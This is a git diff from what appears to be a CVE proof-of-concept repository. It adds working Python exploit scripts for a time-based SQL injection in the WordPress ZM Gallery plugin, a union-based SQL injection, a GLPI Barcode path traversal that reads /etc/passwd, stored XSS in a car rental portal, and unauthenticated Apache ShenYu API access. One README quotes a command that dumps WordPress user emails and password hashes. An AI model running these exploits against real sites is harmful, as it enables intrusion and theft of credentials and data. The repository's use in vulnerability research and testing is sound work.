diff --git a/2016/CVE-2016-10940/poc/pocsploit/CVE-2016-10940.py b/2016/CVE-2016-10940/poc/pocsploit/CVE-2016-10940.py index b57b70aaa..c8a05ab62 100644 --- a/2016/CVE-2016-10940/poc/pocsploit/CVE-2016-10940.py +++ b/2016/CVE-2016-10940/poc/pocsploit/CVE-2016-10940.py @@ -1,5 +1,5 @@ import requests - +import time # Vuln Base Info def info(): @@ -29,7 +29,20 @@ def info(): # Vender Fingerprint def fingerprint(url): - return True + username = "admin" + password = "admin" + s = requests.Session() + path = """/wp-login.php""" + method = "POST" + data = """log={username}&pwd={password}&wp-submit=Log+In&testcookie=1""".format(username=username, password=password) + headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'} + resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) + + resp1 = s.get(url+"/wp-admin/admin.php?page=zm_gallery") + if "ZM Gallery Plugin" in resp1.text: + return True + else: + return False # Proof of Concept def poc(url): @@ -47,19 +60,15 @@ def poc(url): headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'} resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) - path = """/wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc""" + path = """/wp-admin/admin.php?page=zm_gallery&orderby=1%20AND%20(SELECT%204291%20FROM%20(SELECT(SLEEP(3)))cxXu)&order=desc""" method = "GET" data = """""" headers = {} + time1 = time.time() resp1 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) + time2 = time.time() - path = """/wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc""" - method = "GET" - data = """""" - headers = {} - resp2 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) - - if "" in resp1.text and "" not in resp2.text: + if "ZM Gallery Plugin" in resp1.text and 3 <= (time2-time1) < 10: result["success"] = True result["info"] = info() result["payload"] = url+path diff --git a/2016/CVE-2016-10940/vultarget/1.png b/2016/CVE-2016-10940/vultarget/1.png index eb621f05e..c291a020c 100644 Binary files a/2016/CVE-2016-10940/vultarget/1.png and b/2016/CVE-2016-10940/vultarget/1.png differ diff --git a/2016/CVE-2016-10940/vultarget/README.md b/2016/CVE-2016-10940/vultarget/README.md index 0bee32964..775b26b87 100644 --- a/2016/CVE-2016-10940/vultarget/README.md +++ b/2016/CVE-2016-10940/vultarget/README.md @@ -15,6 +15,6 @@ Username/Password: wordpress/wordpress ## Poc -[poc](poc/nuclei/CVE-2016-10940.yaml) +[poc](../poc/pocsploit/CVE-2016-10940.py) ![](1.png) diff --git a/2021/CVE-2021-24750/poc/pocsploit/CVE-2021-24750.py b/2021/CVE-2021-24750/poc/pocsploit/CVE-2021-24750.py index 29d2434ca..2fe9e63e5 100644 --- a/2021/CVE-2021-24750/poc/pocsploit/CVE-2021-24750.py +++ b/2021/CVE-2021-24750/poc/pocsploit/CVE-2021-24750.py @@ -19,8 +19,7 @@ def info(): "cwe-id": "CWE-89" }, "metadata":{ - "vuln-target": "", - + "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24750/vultarget" }, "tags": ["cve", "cve2021", "sqli", "wp", "wordpress", "wp-plugin", "authenticated"], } @@ -33,6 +32,8 @@ def fingerprint(url): # Proof of Concept def poc(url): result = {} + username = "admin" + password = "admin" try: url = format_url(url) @@ -40,15 +41,14 @@ def poc(url): path = """/wp-login.php""" method = "POST" - data = """log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1""" + data = """log={username}&pwd={password}&wp-submit=Log+In&testcookie=1""".format(username=username, password=password) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP%20Cookie%20check'} - resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) + resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False) - path = """/wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5('CVE-2021-24750'),4--%20%22%7D""" - method = "CVE-2021-24750'),4--%20%22%7D" - data = """""" + path = "/wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5('CVE-2021-24750'),4--%20%22%7D" + method = "GET" headers = {} - resp1 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) + resp1 = s.request(method=method,url=url+path,headers=headers,timeout=10,verify=False) if ("""266f89556d2b38ff067b580fb305c522""" in resp1.text) and (resp1.status_code == 200): result["success"] = True diff --git a/2021/CVE-2021-24750/vultarget/1.png b/2021/CVE-2021-24750/vultarget/1.png new file mode 100644 index 000000000..0f126c960 Binary files /dev/null and b/2021/CVE-2021-24750/vultarget/1.png differ diff --git a/2021/CVE-2021-24750/vultarget/README.md b/2021/CVE-2021-24750/vultarget/README.md index 9cf589ff6..67cddd580 100644 --- a/2021/CVE-2021-24750/vultarget/README.md +++ b/2021/CVE-2021-24750/vultarget/README.md @@ -10,4 +10,10 @@ docker-compose run --rm wp-cli install-wp * Start the exploit script with an sql query that gets users emails and passwords ``` python3 exploit.py -C 'union select 1,1,user_email,user_pass from wp_users -- ' -``` \ No newline at end of file +``` + +## Poc + +![](1.png) + +[Poc](../poc/pocsploit/CVE-2021-24750.py) \ No newline at end of file diff --git a/2021/CVE-2021-43778/poc/pocsploit/CVE-2021-43778.py b/2021/CVE-2021-43778/poc/pocsploit/CVE-2021-43778.py new file mode 100644 index 000000000..a003877da --- /dev/null +++ b/2021/CVE-2021-43778/poc/pocsploit/CVE-2021-43778.py @@ -0,0 +1,70 @@ +import requests + + +# Vuln Base Info +def info(): + return { + "author": "cckuailong", + "name": '''GLPI plugin Barcode < 2.6.1 path traversal vulnerability''', + "description": '''Barcode is a GLPI plugin for printing barcodes and QR codes. GLPI instances version 2.x prior to version 2.6.1 with the barcode plugin installed are vulnerable to a path traversal vulnerability. This issue was patched in version 2.6.1. As a workaround, delete the `front/send.php` file.''', + "severity": "critical", + "references": [ + "https://github.com/AK-blank/CVE-2021-43778", + "https://nvd.nist.gov/vuln/detail/CVE-2021-43778" + ], + "classification": { + "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + "cvss-score": "9.1", + "cve-id": "CVE-2021-43778", + "cwe-id": "CWE-22" + }, + "metadata":{ + "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-43778/vultarget" + }, + "tags": ["glpi", "cve", "cve2021", "lfi"], + } + + +# Vender Fingerprint +def fingerprint(url): + resp = requests.get(url+"/glpi/", timeout=10, verify=False, allow_redirects=False) + if "GLPI - " in resp.text and "/pics/login_logo_glpi.png" in resp.text: + return True + else: + return False + +# Proof of Concept +def poc(url): + result = {} + try: + url = format_url(url) + + path = "/glpi/plugins/barcode/front/send.php?file=../../../../../../../../etc/passwd" + method = "GET" + headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36"} + resp = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False) + + if "root:" in resp.text and ":0:0" in resp.text and resp.status_code == 200: + result["success"] = True + result["info"] = info() + result["payload"] = url+path + + except: + result["success"] = False + + return result + + +# Exploit, can be same with poc() +def exp(url): + return poc(url) + + +# Utils +def format_url(url): + url = url.strip() + if not ( url.startswith('http://') or url.startswith('https://') ): + url = 'http://' + url + url = url.rstrip('/') + + return url \ No newline at end of file diff --git a/2021/CVE-2021-43778/poc/pocsploit/wait_to_be_added b/2021/CVE-2021-43778/poc/pocsploit/wait_to_be_added deleted file mode 100644 index 08b178987..000000000 --- a/2021/CVE-2021-43778/poc/pocsploit/wait_to_be_added +++ /dev/null @@ -1 +0,0 @@ -Please contibute to implement this poc / vultarget, thanks! diff --git a/2021/CVE-2021-43778/vultarget/README.md b/2021/CVE-2021-43778/vultarget/README.md new file mode 100644 index 000000000..988dcd944 --- /dev/null +++ b/2021/CVE-2021-43778/vultarget/README.md @@ -0,0 +1,7 @@ +## Install the glpi + +## Copy the vuln plugin to DIR plugins/ + +## Poc + +[Poc](../poc/pocsploit/CVE-2021-43778.py) \ No newline at end of file diff --git a/2021/CVE-2021-43778/vultarget/glpi-barcode-2.6.0.tar.bz2 b/2021/CVE-2021-43778/vultarget/glpi-barcode-2.6.0.tar.bz2 new file mode 100644 index 000000000..b92bb161d Binary files /dev/null and b/2021/CVE-2021-43778/vultarget/glpi-barcode-2.6.0.tar.bz2 differ diff --git a/2021/CVE-2021-43778/vultarget/wait_to_be_added b/2021/CVE-2021-43778/vultarget/wait_to_be_added deleted file mode 100644 index ff27e85b6..000000000 --- a/2021/CVE-2021-43778/vultarget/wait_to_be_added +++ /dev/null @@ -1 +0,0 @@ -Please contibute to implement this vultarget, thanks! diff --git a/2021/CVE-2021-46005/poc/pocsploit/CVE-2021-46005.py b/2021/CVE-2021-46005/poc/pocsploit/CVE-2021-46005.py index a221f567d..59655cac6 100644 --- a/2021/CVE-2021-46005/poc/pocsploit/CVE-2021-46005.py +++ b/2021/CVE-2021-46005/poc/pocsploit/CVE-2021-46005.py @@ -19,8 +19,7 @@ def info(): "cwe-id": "CWE-79" }, "metadata":{ - "vuln-target": "", - + "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-46005/vultarget" }, "tags": ["cve", "cve2021", "xss", "sourcecodester", "authenticated"], } @@ -28,11 +27,17 @@ def info(): # Vender Fingerprint def fingerprint(url): - return True + resp = requests.get(url, timeout=10, verify=False) + if "Car Rental Portal" in resp.text: + return True + else: + return False # Proof of Concept def poc(url): result = {} + username = "admin" + password = "admin" try: url = format_url(url) @@ -40,10 +45,9 @@ def poc(url): path = """/admin/""" method = "POST" - data = """username={{username}}&password={{password}}&login=""" + data = """username={username}&password={password}&login=""".format(username=username, password=password) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Connection': 'close'} - resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False) - + resp0 = s.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False) path = """/admin/post-avehical.php""" method = "POST" data = """------WebKitFormBoundarypWqYipqU21aYgccv diff --git a/2021/CVE-2021-46005/vultarget/1.png b/2021/CVE-2021-46005/vultarget/1.png new file mode 100644 index 000000000..12d6f4ee7 Binary files /dev/null and b/2021/CVE-2021-46005/vultarget/1.png differ diff --git a/2021/CVE-2021-46005/vultarget/OnlineCarRental/admin/img/vehicleimages/test.png b/2021/CVE-2021-46005/vultarget/OnlineCarRental/admin/img/vehicleimages/test.png new file mode 100644 index 000000000..e69de29bb diff --git a/2021/CVE-2021-46005/vultarget/README.md b/2021/CVE-2021-46005/vultarget/README.md index accaba401..dbe8645a6 100644 --- a/2021/CVE-2021-46005/vultarget/README.md +++ b/2021/CVE-2021-46005/vultarget/README.md @@ -123,3 +123,9 @@ Content-Disposition: form-data; name="submit" 4. Open the http://localhost/car-rental/ and our Payload excuted. ![](images/4.png) + +## Poc + +[Poc](../poc/pocsploit/CVE-2021-46005.py) + +![](1.png) diff --git a/2022/CVE-2022-23944/poc/pocsploit/CVE-2022-23944.py b/2022/CVE-2022-23944/poc/pocsploit/CVE-2022-23944.py new file mode 100644 index 000000000..f0bcc70ad --- /dev/null +++ b/2022/CVE-2022-23944/poc/pocsploit/CVE-2022-23944.py @@ -0,0 +1,70 @@ +import requests + + +# Vuln Base Info +def info(): + return { + "author": "cckuailong", + "name": '''ShenYu Admin Unauth Access''', + "description": '''User can access /plugin api without authentication. This issue affected Apache ShenYu 2.4.0 and 2.4.1.''', + "severity": "medium", + "references": [ + "https://github.com/apache/incubator-shenyu/pull/2462/files", + "https://nvd.nist.gov/vuln/detail/CVE-2022-23944" + ], + "classification": { + "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", + "cvss-score": "9.1", + "cve-id": "CVE-2022-23944", + "cwe-id": "CWE-306, CWE-862" + }, + "metadata":{ + "vuln-target": "https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-23944/vultarget" + }, + "tags": ["shenyu", "unauth" , "apache"], + } + + +# Vender Fingerprint +def fingerprint(url): + resp = requests.get(url, timeout=10, verify=False) + if "ShenYu Gateway" in resp.text: + return True + else: + return False + +# Proof of Concept +def poc(url): + result = {} + try: + url = format_url(url) + + path = "/plugin" + method = "GET" + headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36"} + resp = requests.request(method=method,url=url+path,headers=headers,timeout=10,verify=False,allow_redirects=False) + + if resp.status_code == 200 and '"message":"query success"' in resp.text and '"code":200' in resp.text: + result["success"] = True + result["info"] = info() + result["payload"] = url+path + + except: + result["success"] = False + + return result + + +# Exploit, can be same with poc() +def exp(url): + return poc(url) + + +# Utils +def format_url(url): + url = url.strip() + if not ( url.startswith('http://') or url.startswith('https://') ): + url = 'http://' + url + url = url.rstrip('/') + + return url \ No newline at end of file diff --git a/2022/CVE-2022-23944/poc/pocsploit/wait_to_be_added b/2022/CVE-2022-23944/poc/pocsploit/wait_to_be_added deleted file mode 100644 index 08b178987..000000000 --- a/2022/CVE-2022-23944/poc/pocsploit/wait_to_be_added +++ /dev/null @@ -1 +0,0 @@ -Please contibute to implement this poc / vultarget, thanks! diff --git a/2022/CVE-2022-23944/vultarget/3.png b/2022/CVE-2022-23944/vultarget/3.png new file mode 100644 index 000000000..8b9d050e7 Binary files /dev/null and b/2022/CVE-2022-23944/vultarget/3.png differ diff --git a/2022/CVE-2022-23944/vultarget/README.md b/2022/CVE-2022-23944/vultarget/README.md index d245dfacf..bd7973eaa 100644 --- a/2022/CVE-2022-23944/vultarget/README.md +++ b/2022/CVE-2022-23944/vultarget/README.md @@ -17,3 +17,7 @@ vuln app: version >= 4.2, return 600 ![](2.png) + +[Poc](../poc/pocsploit/CVE-2022-23944.py) + +![](3.png) \ No newline at end of file